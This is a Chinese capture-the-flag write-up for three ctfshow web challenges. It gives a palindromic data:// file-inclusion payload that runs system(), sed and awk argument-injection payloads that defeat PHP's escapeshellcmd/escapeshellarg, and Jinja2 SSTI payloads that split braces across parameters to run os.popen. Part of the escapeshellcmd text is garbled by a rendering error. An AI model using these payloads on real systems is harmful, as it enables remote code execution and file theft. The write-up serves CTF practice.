Ctfshow [单身杯]

简介: Ctfshow [单身杯]

web签到

<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
if(isset($file)){
    if(strrev($file)==$file){
        include $file;
    }
}
http://2f8afaaf-41c0-440d-83fd-c7d2cf5c0d56.challenge.ctf.show/?1=cat /f1agaaa;
file=data://text/plain,<?php system($_GET[1]);?>>?;)]1[TEG_$(metsys php?<,nialp/txet//:atad

data伪协议直接用 ?>截断就行

easyPHP

<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
$param = $_POST['param'];
if(isset($cmd) && isset($param)){
    $cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;
    shell_exec($cmd);
}

escapeshellcmd

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。反斜线(\)会在以下字符之前插入: &#;|*?~<>^()[]{}KaTeX parse error: Undefined control sequence: \x at position 4: `, \̲x̲0A 和 \xFF。 ' 和 …`, \x0A 和 \xFF。 ’ 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。此函数保证用户输入的数据在传送到shell函数之前进行转义。

escapeshellarg

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。

sed

方法1

sed ‘s/shell_exec/system/g;/esca/d;w 1.php’ index.php

cmd=sed&param=s/shell_exec/system/g;/esca/d;w 1.php

方法2

sed ‘/php|POST|exec/ w 2.php’ index.php

cmd=sed&param=/php|POST|exec/ w 2.php

awk

方法3

awk ‘{system(“ls / >b”)}’ index.php

cmd=awk&param={system(“ls / >b”)}

cmd=awk&param={system(“cat /f1agaaa>b”)}

姻缘测试

传入参数发现是SSTI类题目,并且对{}进行了过滤

<!-- /source -->
def is_hacker(string): 
"""整那些个花里胡哨的waf有啥用,
还不如这一个,
直接杜绝SSTI""" 
if "{" in string and "}" in string : 
  return True 
else: return False

想法是将{ }分为两部分分别放在参数boy_name和girl_name

payload

1.
?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('cat /flag.txt').read()}}
2.
?boy_name={%print('&girl_name=%s'|format(().__class__.__bases__[0].__subclasses__()[99].get_data(0, "/flag.txt")))%}
boy_name={%print('&girl_name=%s'|format(().__class__.__bases__[0].__subclasses__()[99].get_data(0, "/flag.txt")))%}


目录
相关文章
|
4月前
|
Python
NSSCTF[HUBUCTF 2022 新生赛]ezPython
NSSCTF[HUBUCTF 2022 新生赛]ezPython
36 0
|
C++ Python
CTFshow 2023 ——愚人杯 Re题解
CTFshow 2023 ——愚人杯 Re题解
147 0
|
安全 Shell PHP
ctfshow原谅杯
ctfshow原谅杯
156 0
|
存储 缓存 算法
蓝桥每日一点题,国赛场上ta和你
蓝桥每日一点题,国赛场上ta和你
72 0
蓝桥每日一点题,国赛场上ta和你
|
C++ 容器
蓝桥每日一点题,国赛场上TA和你(2)
蓝桥每日一点题,国赛场上TA和你(2)
88 0
蓝桥每日一点题,国赛场上TA和你(2)
|
JSON Shell PHP
ctfshow 新年欢乐赛
ctfshow 新年欢乐赛WP
228 0
ctfshow 新年欢乐赛
|
JavaScript PHP
CTFSHOW 愚人节欢乐赛
CTFSHOW 愚人节欢乐赛WP
236 0
CTFSHOW 愚人节欢乐赛
[唐诗]190襄阳歌-李白
襄阳歌-李白 落日欲没岘山西, 倒著接蓠花下迷。 襄阳小儿齐拍手, 拦街争唱白铜鞮。 旁人借问笑何事, 笑杀山翁醉似泥。 鸬鹚杓,鹦鹉杯。 百年三万六千日, 一日须倾三百杯。 遥看汉水鸭头绿, 恰似葡萄初酦醅。
1158 0
[唐诗]188子夜吴歌-李白
子夜吴歌-李白 秋歌 长安一片月, 万户捣衣声。 秋风吹不尽, 总是玉关情。 何日平胡虏, 良人罢远征。 冬歌 明朝驿使发, 一夜絮征袍。 素手抽针冷, 那堪把剪刀。 裁缝寄远道, 几日到临洮?
990 0